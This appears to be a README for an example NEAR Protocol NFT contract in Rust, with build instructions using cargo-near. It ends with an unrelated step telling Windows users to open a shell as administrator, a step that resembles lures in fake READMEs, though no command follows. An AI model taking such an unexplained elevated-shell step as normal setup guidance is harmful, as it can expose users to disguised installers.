This repository contains an example implementation of a non-fungible token contract in Rust which uses near-contract-standards and workspaces-rs tests.

Note: If you'd like to learn how to create an NFT contract from scratch that explores every aspect of the NEP-171 standard including an NFT marketplace, check out the NFT Zero to Hero Tutorial.

Install cargo-near and run:

cargo near build

Note: to avoid issues, be sure to update your Rust compiler with rustup update stable

1. Open Command Prompt or PowerShell as an administrator:
   • Press Win + S, type cmd or powershell, right-click the application, and select Run as administrator.
